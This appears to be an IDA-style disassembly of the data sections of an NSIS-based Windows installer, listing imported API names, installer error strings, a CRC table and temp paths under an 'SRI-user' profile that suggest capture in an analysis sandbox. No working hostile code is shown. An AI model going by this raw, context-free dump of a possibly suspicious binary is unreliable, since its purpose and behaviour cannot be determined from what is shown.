aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 385h
aWaitforsingleo	db 'WaitForSingleObject',0
		dd 6C4701F5h, 6C61626Fh, 65657246h, 0B20000h
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		dw 150h
aGetenvironment	db 'GetEnvironmentVariableA',0
		db 0B6h	; ¶
		db 3, 6Ch, 73h
aTrcmpia	db 'trcmpiA',0
a__0		db '.',0
aClosehandle	db 'CloseHandle',0
		dw 314h
aSetfiletime	db 'SetFileTime',0
		db  56h	; V
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
a3		db '3',0
aComparefiletim	db 'CompareFileTime',0
		dd 655302D0h, 68637261h, 68746150h, 1AD0041h
aGetshortpathna	db 'GetShortPathNameA',0
		dw 161h
aGetfullpathnam	db 'GetFullPathNameA',0
		align 2
		dw 264h
aMovefilea	db 'MoveFileA',0
		dw 3B0h
aLstrcata	db 'lstrcatA',0
		align 2
		dw 2FFh
aSetcurrentdire	db 'SetCurrentDirectoryA',0
		align 2
aE		db 'E',0
aCreatedirector	db 'CreateDirectoryA',0
		align 2
		dw 30Eh
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		dd 6C530349h, 706565h, 6547015Bh, 6C694674h, 7A695365h
		dd 1750065h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		db 0D5h	; Õ
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  3Ah	; :
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
		db '=',0
aCopyfilea	db 'CopyFileA',0
aP		db '¯',0
aExitprocess	db 'ExitProcess',0
		dw 3BCh
aLstrcpyna	db 'lstrcpynA',0
		dw 108h
aGetcommandline	db 'GetCommandLineA',0
		db 0E9h	; é
		db 1, 47h, 65h
aTwindowsdirect	db 'tWindowsDirectoryA',0
		align 4
		db 0CBh	; Ë
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		db 0DAh	; Ú
		db 1, 47h, 65h
aTuserdefaultla	db 'tUserDefaultLangID',0
		align 10h
		db  45h	; E
		db 1, 47h, 65h
aTdiskfreespace	db 'tDiskFreeSpaceA',0
		dd 6C470200h, 6C61626Fh, 6F6C6E55h, 6B63h, 6C4701F9h, 6C61626Fh
		dd 6B636F4Ch, 1EE0000h,	626F6C47h, 6C416C61h, 636F6Ch
		dd 72430069h, 65746165h, 65726854h, 6461h, 72430060h, 65746165h
		dd 636F7250h, 41737365h, 2BA0000h, 6F6D6552h, 69446576h
		dd 74636572h, 4179726Fh, 4D0000h, 61657243h, 69466574h
		dd 41656Ch, 654701C9h, 6D655474h, 6C694670h, 6D614E65h
		dd 4165h, 65530305h, 646E4574h,	6946664Fh, 656Ch, 6E550365h
		dd 5670616Dh, 4F776569h, 6C694666h, 25E0065h, 5670614Dh
		dd 4F776569h, 6C694666h, 4E0065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 10h
		db 0B9h	; ¹
		db 3, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 4
		db 0BFh	; ¿
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 4
		db 'È',0
aEndpaint	db 'EndPaint',0
		align 4
		db '¼',0
aDrawtexta	db 'DrawTextA',0
aT		db 'â',0
aFillrect	db 'FillRect',0
		align 10h
		db 0FFh
		align 2
aGetclientrect	db 'GetClientRect',0
		db 0Dh,0
aBeginpaint	db 'BeginPaint',0
		align 2
aO		db 'Ž',0
aDefwindowproca	db 'DefWindowProcA',0
		align 10h
		db  3Ah	; :
		db 2, 53h, 65h
aNdmessagea	db 'ndMessageA',0
		align 10h
		db  93h	; “
		db 1, 49h, 6Eh
aValidaterect	db 'validateRect',0
		align 2
aB		db '¡',0
aDispatchmessag	db 'DispatchMessageA',0
		align 2
		dw 1FFh
aPeekmessagea	db 'PeekMessageA',0
		align 2
		db 'Ä',0
aEnablewindow	db 'EnableWindow',0
		align 2
		dw 10Ch
aGetdc		db 'GetDC',0
		dw 1BFh
aLoadimagea	db 'LoadImageA',0
		align 4
		db  7Fh	; 
		db 2, 53h, 65h
aTwindowlonga	db 'tWindowLongA',0
		align 2
		dw 111h
aGetdlgitem	db 'GetDlgItem',0
		align 4
		db 0ADh	; ­
		db 1, 49h, 73h
aWindow		db 'Window',0
		align 4
aF		db 'ä',0
aFindwindowexa	db 'FindWindowExA',0
		db  3Dh	; =
		db 2, 53h, 65h
aNdmessagetimeo	db 'ndMessageTimeoutA',0
		dw 2D5h
aWsprintfa	db 'wsprintfA',0
		dw 291h
aShowwindow	db 'ShowWindow',0
		align 4
		db  56h	; V
		db 2, 53h, 65h
aTforegroundwin	db 'tForegroundWindow',0
		dw 203h
aPostquitmessag	db 'PostQuitMessage',0
		dd 65530285h, 6E695774h, 54776F64h, 41747865h, 2790000h
		dd 54746553h, 72656D69h, 990000h, 74736544h, 57796F72h
		dd 6F646E69h, 550077h
aCreatedialogpa	db 'CreateDialogParamA',0
		align 4
aS		db 'á',0
aExitwindowsex	db 'ExitWindowsEx',0
		db '*',0
aCharnexta	db 'CharNextA',0
aU		db 'ž',0
aDialogboxparam	db 'DialogBoxParamA',0
		dw 0F6h
aGetclassinfoa	db 'GetClassInfoA',0
		db '`',0
aCreatewindowex	db 'CreateWindowExA',0
		db  98h	; ˜
		db 2, 53h, 79h
aStemparameters	db 'stemParametersInfoA',0
		db  15h
		db 2, 52h, 65h
aGisterclassa	db 'gisterClassA',0
		align 2
		db 'Æ',0
aEnddialog	db 'EndDialog',0
		dw 230h
aScreentoclient	db 'ScreenToClient',0
		align 4
		db  74h	; t
		db 1, 47h, 65h
aTwindowrect	db 'tWindowRect',0
		db  46h	; F
		db 2, 53h, 65h
aTclasslonga	db 'tClassLongA',0
		db 0AEh	; ®
		db 1, 49h, 73h
aWindowenabled	db 'WindowEnabled',0
		dw 282h
aSetwindowpos	db 'SetWindowPos',0
		align 2
		dw 15Ah
aGetsyscolor	db 'GetSysColor',0
		db  6Eh	; n
		db 1, 47h, 65h
aTwindowlonga_0	db 'tWindowLongA',0
		align 2
		dw 1B9h
aLoadcursora	db 'LoadCursorA',0
		db  4Ch	; L
		db 2, 53h, 65h
aTcursor	db 'tCursor',0
a8		db '8',0
aCheckdlgbutton	db 'CheckDlgButton',0
		align 2
		dw 13Ch
aGetmessagepos	db 'GetMessagePos',0
		dw 1B7h
aLoadbitmapa	db 'LoadBitmapA',0
		db 1Bh,0
aCallwindowproc	db 'CallWindowProcA',0
		dw 1B1h
aIswindowvisibl	db 'IsWindowVisible',0
aB_0		db 'B',0
aCloseclipboard	db 'CloseClipboard',0
		align 2
		dw 249h
aSetclipboardda	db 'SetClipboardData',0
		align 2
		db 'Á',0
aEmptyclipboard	db 'EmptyClipboard',0
		align 4
		db 0F5h	; õ
		db 1, 4Fh, 70h
aEnclipboard	db 'enClipboard',0
		db 0A3h	; £
		db 2, 54h, 72h
aAckpopupmenu	db 'ackPopupMenu',0
		align 2
		db 8,0
aAppendmenua	db 'AppendMenuA',0
		db '^',0
aCreatepopupmen	db 'CreatePopupMenu',0
		dw 15Dh
aGetsystemmetri	db 'GetSystemMetrics',0
		align 2
		dw 252h
aSetdlgitemtext	db 'SetDlgItemTextA',0
		db  13h
		db 1, 47h, 65h
aTdlgitemtexta	db 'tDlgItemTextA',0
		dw 1DEh
aMessageboxa	db 'MessageBoxA',0
		db '-',0
aCharpreva	db 'CharPrevA',0
aUser32_dll	db 'USER32.dll',0
		align 4
		db  0Eh
		db 2, 53h, 65h
aLectobject	db 'lectObject',0
		align 4
		db  3Ch	; <
		db 2, 53h, 65h
aTtextcolor	db 'tTextColor',0
		align 4
		db  16h
		db 2, 53h, 65h
aTbkmode	db 'tBkMode',0
		db ':',0
aCreatefontindi	db 'CreateFontIndirectA',0
		db ')',0
aCreatebrushind	db 'CreateBrushIndirect',0
aP_0		db '',0
aDeleteobject	db 'DeleteObject',0
		align 4
		db  6Bh	; k
		db 1, 47h, 65h
aTdevicecaps	db 'tDeviceCaps',0
		db  15h
		db 2, 53h, 65h
aTbkcolor	db 'tBkColor',0
		align 2
aGdi32_dll	db 'GDI32.dll',0
		db 0D9h	; Ù
		db 1, 52h, 65h
aGenumvaluea	db 'gEnumValueA',0
		db 0D5h	; Õ
		db 1, 52h, 65h
aGenumkeya	db 'gEnumKeyA',0
		dw 1ECh
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 2
		dw 1F9h
aRegsetvalueexa	db 'RegSetValueExA',0
		align 4
		db 0CDh	; Í
		db 1, 52h, 65h
aGcreatekeyexa	db 'gCreateKeyExA',0
		dw 1C9h
aRegclosekey	db 'RegCloseKey',0
		db 0D2h	; Ò
		db 1, 52h, 65h
aGdeletevaluea	db 'gDeleteValueA',0
		dw 1D0h
aRegdeletekeya	db 'RegDeleteKeyA',0
		dw 1E2h
aRegopenkeyexa	db 'RegOpenKeyExA',0
aAdvapi32_dll_0	db 'ADVAPI32.dll',0
		align 4
		db 'š',0
aShfileoperatio	db 'SHFileOperationA',0
		align 4
		db    7
		db 1, 53h, 68h
aEllexecutea	db 'ellExecuteA',0
aY		db 'y',0
aShbrowseforfol	db 'SHBrowseForFolderA',0
		align 2
		db '¼',0
aShgetpathfromi	db 'SHGetPathFromIDListA',0
		align 2
		db '·',0
aShgetmalloc	db 'SHGetMalloc',0
		db 'Ã',0
aShgetspecialfo	db 'SHGetSpecialFolderLocation',0
		align 2
aShell32_dll	db 'SHELL32.dll',0
		dw 10h
aCocreateinstan	db 'CoCreateInstance',0
		align 2
		dw 104h
aOleuninitializ	db 'OleUninitialize',0
aA		db 'í',0
aOleinitialize	db 'OleInitialize',0
aOle32_dll	db 'ole32.dll',0
		db 0Ah,0
aVerqueryvaluea	db 'VerQueryValueA',0
		align 4
		db    0
		align 2
aGetfileversion	db 'GetFileVersionInfoA',0
		dw 1
aGetfileversi_0	db 'GetFileVersionInfoSizeA',0
aVersion_dll	db 'VERSION.dll',0
_rdata		ends

; Section 3. (virtual address 00009000)
; Virtual size			: 000260D4 ( 155860.)
; Section size in file		: 000260D4 ( 155860.)
; Offset to raw	data for section: 00009000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 409000h
word_409000	dw 0			; DATA XREF: sub_401000+47Cr
					; sub_401000+501r ...
		dw 1
		dd 70003h, 1F000Fh, 7F003Fh, 1FF00FFh, 7FF03FFh, 1FFF0FFFh
		dd 7FFF3FFFh, 0FFFFh
byte_409024	db 9			; DATA XREF: sub_401000+153o
					; sub_401000:loc_4011B0r
		align 4
byte_409028	db 5			; DATA XREF: sub_401000+188o
					; sub_401000+1B8r
		align 4
off_40902C	dd offset dword_42F0A0	; DATA XREF: sub_4020E9:loc_402D2Do
		dd offset sub_40201D
dword_409034	dd 6			; DATA XREF: sub_4020E9+B6r
					; sub_4020E9+D0w
dword_409038	dd 5Ch			; DATA XREF: sub_4020E9+B93o
					; sub_406253:loc_4062AEo ...
aSS		db '%s %s',0            ; DATA XREF: sub_4020E9+A14o
		align 4
asc_409044	db '->',0               ; DATA XREF: sub_4020E9+26Fo
		align 4
dword_409048	dd 0FFFFFFFFh		; DATA XREF: sub_4038D5+4Ew
					; sub_403D9F+11r ...
		align 10h
aTheInstallerYo	db 'The installer you are trying to use is corrupted or incomplete.',0Ah
					; DATA XREF: sub_4038D5:loc_403B09o
		db 'This could be the result of a damaged disk, a failed download or '
		db 'a virus.',0Ah
		db 0Ah
		db 'You may want to contact the author of this installer to obtain a '
		db 'new copy.',0Ah
		db 0Ah
		db 'It may be possible to skip this check using the /NCRC command lin'
		db 'e switch',0Ah
		db '(NOT RECOMMENDED).',0
aVerifyingInsta	db 'verifying installer: %d%%',0 ; DATA XREF: sub_4038D5+14Ao
		align 10h
aErrorLaunching	db 'Error launching installer',0 ; DATA XREF: sub_4038D5+56o
					; start+180o
		align 4
a___D		db '... %d%%',0         ; DATA XREF: sub_403B73+141o
		align 4
aANsisu__exe	db 'A~NSISu_.exe',0     ; DATA XREF: start+215o
					; start:loc_4040E5w
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: start+34Co
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: start+319o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: start+30Fo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: start+307o
		align 10h
aAdvapi32_dll	db 'ADVAPI32.dll',0     ; DATA XREF: start+2F0o
		align 10h
a_?		db ' _?=',0             ; DATA XREF: start+29Co
		align 4
asc_409248	db '" ',0               ; DATA XREF: start:loc_4040A9o
		align 4
aTemp		db '\Temp',0            ; DATA XREF: start+68o
		align 4
aNsisError	db 'NSIS Error',0       ; DATA XREF: start+27o
		align 10h
aErrorWritingTe	db 'Error writing temporary file. Make sure your temp folder is valid'
					; DATA XREF: start+Do
		db '.',0
		align 4
dword_4092A4	dd 0FFFFFFFFh		; DATA XREF: sub_4044FB+A4r
					; sub_4044FB+120r ...
off_4092A8	dd offset sub_404B17	; DATA XREF: sub_4044FB+3C0r
		dd offset sub_40526B
		dd offset sub_404E2A
		dd offset sub_405DE5
		dd offset sub_404DE3
dword_4092BC	dd 0FFFFFFFFh		; DATA XREF: sub_405BC5+35w
					; sub_405BC5+90r ...
dword_4092C0	dd 6			; DATA XREF: sub_4020E9+BBw
					; sub_4020E9:loc_4021AEr ...
aRichedit20a	db 'RichEdit20A',0      ; DATA XREF: sub_4041E1+1D3o
					; sub_4041E1+1E4w ...
aRiched20_dll	db 'RichEd20.dll',0     ; DATA XREF: sub_4041E1+1B5o
					; sub_4041E1+1C2w
		align 10h
a_exe		db '.exe',0             ; DATA XREF: sub_4041E1+81o
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_404B17+20Co
		align 10h
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_404E2A+1C0o
aKernel32_dll	db 'KERNEL32.dll',0     ; DATA XREF: sub_404E2A:loc_404FD6o
					; sub_406606+4o
		align 4
aD_DSS		db '%d.%d%s%s',0        ; DATA XREF: sub_405176+5Bo
		align 10h
a_		db '\*.*',0             ; DATA XREF: sub_406253+4Bo
		align 4
asc_409328	db 0Ah			; DATA XREF: sub_406606+18Do
		db '[',0
		align 4
aRename		db '[Rename]',0Dh,0Ah,0 ; DATA XREF: sub_406606+120o
					; sub_406606+132o
		align 4
aWininit_ini	db '\wininit.ini',0     ; DATA XREF: sub_406606+BCo
		align 4
aSS_0		db '%s=%s',0Dh,0Ah,0    ; DATA XREF: sub_406606+9Bo
aMovefileexa	db 'MoveFileExA',0      ; DATA XREF: sub_406606+17o
aD		db '%d',0               ; DATA XREF: sub_406827+4o
		align 10h
aCProgramFiles	db 'C:\Program Files',0 ; DATA XREF: sub_4068D5+102o
		align 4
aProgramfilesdi	db 'ProgramFilesDir',0  ; DATA XREF: sub_4068D5+E5o
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4068D5+D0o
					; sub_4068D5+EAo
		align 10h
aCommonfilesdir	db 'CommonFilesDir',0   ; DATA XREF: sub_4068D5+CBo
		align 10h
aMicrosoftInter	db '\Microsoft\Internet Explorer\Quick Launch',0 ; DATA XREF: sub_4068D5+B8o
		align 4
a?		db '*?|<>/":',0         ; DATA XREF: sub_406B09+50o
		align 4
dword_4093F8	dd 0			; DATA XREF: sub_401000+18Do
					; sub_401000+1C8r
dword_4093FC	dd 0			; DATA XREF: sub_401000+158o
					; sub_401000+1C0r
dword_409400	dd 8Fh dup(0)		; DATA XREF: sub_401000+114o
					; sub_401000+148o ...
dword_40963C	dd 71h dup(0)		; DATA XREF: sub_401000:loc_401119o
dword_409800	dd 18h dup(0)		; DATA XREF: sub_401000+122o
dword_409860	dd 8 dup(0)		; DATA XREF: sub_401000:loc_40112Do
dword_409880	dd 4			; DATA XREF: sub_401000+13Eo
					; sub_401AF7+E8w ...
		dd 13h,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h, 11h,	12h, 7
		dd 8, 9, 14h, 15h, 3, 5, 6, 16h, 0A2h, 0A5h, 0AAh, 0AEh
		dd 0E1h, 0E2h, 105h, 106h, 29h,	2Bh, 53h, 62h, 63h, 64h
		dd 66h,	68h, 6Dh, 76h, 79h, 0A4h, 0ABh,	0ADh, 0AFh, 0E0h
		dd 0E3h, 0EFh, 107h, 108h, 109h, 9, 0Ah, 0Dh, 2Ch, 30h
		dd 3Bh,	3Dh, 41h, 43h, 44h, 45h, 5Bh, 5Dh, 67h,	6Ah, 70h
		dd 77h,	91h, 0A9h, 0ACh, 0E5h, 0E6h, 0E7h, 0EBh, 10Ah
		dd 10Ch, 10Eh, 25h, 2Dh, 2Fh, 31h, 32h,	33h, 34h, 39h
		dd 3Ah,	46h, 4Ch, 4Eh, 54h, 57h, 5Ch, 78h, 0A1h, 0A3h
		dd 0A7h, 0E4h, 0F1h, 10Dh, 21h,	35h, 38h, 3Ch, 3Eh, 3Fh
		dd 47h,	48h, 4Fh, 50h, 52h, 58h, 6Bh, 71h, 7Ah,	7Bh, 7Dh
		dd 81h,	84h, 87h, 8Ah, 8Ch, 8Fh, 92h, 94h, 0E8h, 0E9h
		dd 0ECh, 0EEh, 100h, 10Fh, 112h, 66h, 67h, 69h,	6Bh, 6Eh
		dd 70h,	73h, 76h, 77h, 78h, 79h, 86h, 87h, 88h,	8Ah, 0A1h
		dd 0A5h, 0BEh, 0C1h, 0C4h, 0C7h, 0C8h, 0C9h, 0CBh, 0D0h
		dd 0D1h, 0D3h, 0D7h, 0DAh, 0E1h, 0E2h, 0E4h, 0ECh, 0EDh
		dd 0EFh, 0F3h, 0F6h, 0FAh, 0FBh, 0FEh, 107h, 108h, 109h
		dd 12h,	17h, 1Bh, 1Dh, 1Eh, 22h, 26h, 27h, 29h,	2Ah, 4Ah
		dd 6Dh,	7Bh, 81h, 82h, 8Ch, 8Eh, 90h, 91h, 99h,	9Eh, 9Fh
		dd 0A0h, 0A2h, 0A6h, 0ADh, 0B4h, 0B6h, 0B7h, 0B8h, 0B9h
		dd 0BBh, 0BCh, 0BDh, 0C5h, 0CAh, 0CCh, 0CDh, 0CEh, 0D2h
		dd 0D5h, 0D6h, 0D9h, 0DCh, 0DDh, 0DFh, 0E3h, 0E6h, 0EEh
		dd 0F1h, 0FDh, 10Ah, 10Ch, 4Bh,	5Ch, 60h, 71h, 7Ah, 8Fh
		dd 94h,	95h, 97h, 98h, 9Bh, 9Ch, 9Dh, 0A4h, 0A7h, 0A8h
		dd 0A9h, 0AFh, 0B0h, 0B1h, 0B2h, 0B3h, 0BAh, 0BFh, 0D4h
		dd 0DEh, 0E5h, 0E7h, 0EAh, 0F2h, 0F5h, 10Bh, 10Dh, 10Fh
		dd 92h,	93h, 96h, 0AAh,	0ACh, 0AEh, 0CFh, 100h,	110h, 111h
		dd 112h, 116h, 117h, 119h, 11Bh, 11Dh, 115h, 117h, 119h
		dd 11Bh, 11Ch, 100h, 116h, 118h, 11Ah, 3 dup(0)
dword_409D00	dd 220h	dup(0)		; DATA XREF: sub_401000+14Eo
					; sub_401000+183o
byte_40A580	db 0			; DATA XREF: sub_401000:loc_401103r
					; sub_401000+1AAw
		align 8
dword_40A588	dd 0			; DATA XREF: sub_401FAF+27w
					; sub_401FAF+5Ar
dword_40A58C	dd 77073096h		; DATA XREF: sub_401FAFr
		dd 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh, 0E963A535h
		dd 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh,	97D2D988h
		dd 9B64C2Bh, 7EB17CBDh,	0E7B82D07h, 90BF1D91h, 1DB71064h
		dd 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh,	6DDDE4EBh
		dd 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h,	0FD62F97Ah
		dd 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h,	8D080DF5h
		dd 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h, 3C03E4D1h
		dd 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh, 42B2986Ch
		dd 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h, 0DCD60DCFh
		dd 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h, 0BFD06116h
		dd 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh, 2802B89Eh
		dd 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h, 58684C11h
		dd 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h,	98D220BCh
		dd 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h, 0E8B8D433h
		dd 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h,	7F6A0DBBh
		dd 86D3D2Dh, 91646C97h,	0E6635C01h, 6B6B51F4h, 1C6C6162h
		dd 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh,	8208F4C1h
		dd 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh,	0FCB9887Ch
		dd 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h,	4DB26158h
		dd 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h, 3DD895D7h
		dd 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh, 0AD678846h
		dd 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh, 0DD0D7CC9h
		dd 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h, 5768B525h
		dd 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh, 29D9C998h
		dd 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h, 0B7BD5C3Bh
		dd 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch,	74B1D29Ah
		dd 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h, 0E3630B12h
		dd 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh,	9309FF9Dh
		dd 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h,	1E01F268h
		dd 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h,	6E6B06E7h
		dd 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh,	0F9B9DF6Fh
		dd 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h,	0A1D1937Eh
		dd 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h, 3FB506DDh
		dd 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h, 41047A60h
		dd 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h, 0CB61B38Ch
		dd 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h, 0BB0B4703h
		dd 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h, 2BB45A92h
		dd 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh, 5BDEAE1Dh
		dd 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah, 9C0906A9h
		dd 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h, 0E2B87A14h
		dd 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh,	7CDCEFB7h
		dd 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h,	1FDA836Eh
		dd 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h,	88085AE6h
		dd 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh,	0F862AE69h
		dd 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh, 4E048354h
		dd 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh, 3E6E77DBh
		dd 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h, 0A9BCAE53h
		dd 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch, 0CABAC28Ah
		dd 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h, 54DE5729h
		dd 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h, 2A6F2B94h
		dd 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_40A988	dd 0			; DATA XREF: sub_4020E9+97Bw
					; sub_4020E9+9BEo
		dd 3 dup(0)
dword_40A998	dd 0			; DATA XREF: sub_4020E9+985w
byte_40A99C	db 0			; DATA XREF: sub_4020E9+99Cw
byte_40A99D	db 0			; DATA XREF: sub_4020E9+9AEw
byte_40A99E	db 0			; DATA XREF: sub_4020E9+9B4w
byte_40A99F	db 0			; DATA XREF: sub_4020E9+995w
		dd 0
dword_40A9A4	dd 8 dup(0)		; DATA XREF: sub_4020E9+9A9o
dword_40A9C4	dd 12FF1Ch		; DATA XREF: sub_4020E9+48w
					; sub_403736+4r ...
aCall		db 'Call',0             ; DATA XREF: sub_4020E9+383o
					; sub_4020E9+767o ...
aCume1SriUserLo	db 'CUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\System.dll',0
		align 10h
		dd 0F2h	dup(0)
aCDocume1SriUse	db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\System.dll',0
					; DATA XREF: sub_4020D8o
					; sub_4020E9+23Fo ...
aMeno_dll	db '\meno.dll',0
aObjects7b4dd62	db ' Objects\{7B4DD627-E555-4373-AA84-4E5241613B7A}',0
		align 4
		dd 0E3h	dup(0)
aCDocume1SriU_0	db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp',0
					; DATA XREF: sub_4020E9+3B2o
					; sub_4020E9+E12o ...
		dd 0F5h	dup(0)
aCDocume1SriU_4	db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\System.dll',0
		align 10h
		dd 1F2h	dup(0)
word_40BDC8	dw 0			; DATA XREF: sub_4020E9+D87o
					; sub_4020E9+D97w
		align 4
		dd 1FFh	dup(0)
dword_40C5C8	dd 0			; DATA XREF: sub_4020E9+743r
					; sub_4020E9+773r ...
		align 10h
dword_40C5D0	dd 0			; DATA XREF: sub_403849+2Cw
					; sub_403849+57r
		align 8
off_40C5D8	dd offset byte_41664D	; DATA XREF: sub_403B73+D4w
					; sub_403B73+E6o
dword_40C5DC	dd 0			; DATA XREF: sub_403B73+DAw
off_40C5E0	dd offset loc_41AA94+3	; DATA XREF: sub_403B73+EBw
					; sub_403B73+106r ...
dword_40C5E4	dd 7749h		; DATA XREF: sub_403B73+F1w
dword_40C5E8	dd 0Fh			; DATA XREF: sub_403B73+86w
		align 10h
		dd offset dword_40D378
		dd 1, 609h, 40CB08h, 40D388h, 5	dup(0)
		dd 2 dup(8), 2 dup(0)
		dd 8, 12h dup(0)
		dd 4, 0Ah, 6, 2	dup(0)
		dd 9, 2	dup(0)
		dd 6, 7, 0
		dd 7, 8, 9, 6, 9, 8, 4 dup(9), 0Ah, 2 dup(0)
		dd 0Ah,	2 dup(9), 8, 0Ah, 8, 2 dup(0Ah), 0
		dd 8, 0
		dd 3 dup(8), 9,	2 dup(0Ah), 3 dup(0)
		dd 9, 0
		dd 9, 2	dup(0Ah), 0
		dd 0Ah,	7, 9, 2	dup(0)
		dd 9, 0Ah, 2 dup(0)
		dd 8, 9, 8, 3 dup(0)
		dd 6, 3	dup(7),	5, 7, 8, 7, 6, 8, 0Ah, 6, 7, 2 dup(6)
		dd 8, 0Ah, 5, 3	dup(6),	7, 8, 9, 7, 2 dup(0Ah),	0
		dd 0Ah,	3 dup(0)
		dd 0Ah,	2 dup(0)
		dd 0Ah,	2 dup(0)
		dd 0Ah,	2 dup(0)
		dd 0Ah,	0
		dd 0Ah,	2 dup(0)
		dd 0Ah,	0
		dd 8, 0Ah, 0
		dd 0Ah,	0Bh dup(0)
		dd 6, 9, 6, 9, 7, 6, 0
		dd 9, 5, 8, 6, 7, 8, 7,	6, 7, 30h dup(0)
		dd 7, 2	dup(6),	7, 9, 3	dup(8),	2 dup(0Ah), 0
		dd 8, 0Ah, 0
		dd 0Ah,	7, 0
		dd 9, 0Eh dup(0)
		dd 0Ah,	2 dup(4), 2 dup(5), 2 dup(6), 3	dup(7),	8, 0
		dd 8, 9, 8, 0Ah, 2 dup(0)
		dd 0Ah,	3 dup(0)
		dd 7, 3, 2 dup(7), 3 dup(5), 9 dup(4), 3, 2 dup(5), 7
		dd 2 dup(5), 4,	5, 3 dup(4), 5,	3 dup(4), 5, 2 dup(6)
		dd 7, 2	dup(4),	5, 4 dup(0)
		dd 7, 0
		dd 0Fh
dword_40CB00	dd 6			; DATA XREF: sub_403B73+70w
dword_40CB04	dd 0			; DATA XREF: sub_403B73+69w
		dd 200400h, 750600h, 0A80500h, 0AB0700h, 40450h, 70650h
		dd 2E0600h, 6A0800h, 30450h, 0AA0600h, 60550h, 0B0751h
		dd 650500h, 630700h, 6E0600h, 340900h, 200400h,	0A20600h
		dd 50550h, 0E30700h, 40450h, 290700h, 690600h, 0E70800h
		dd 30450h, 0E10600h, 220600h, 3D0800h, 720500h,	6D0700h
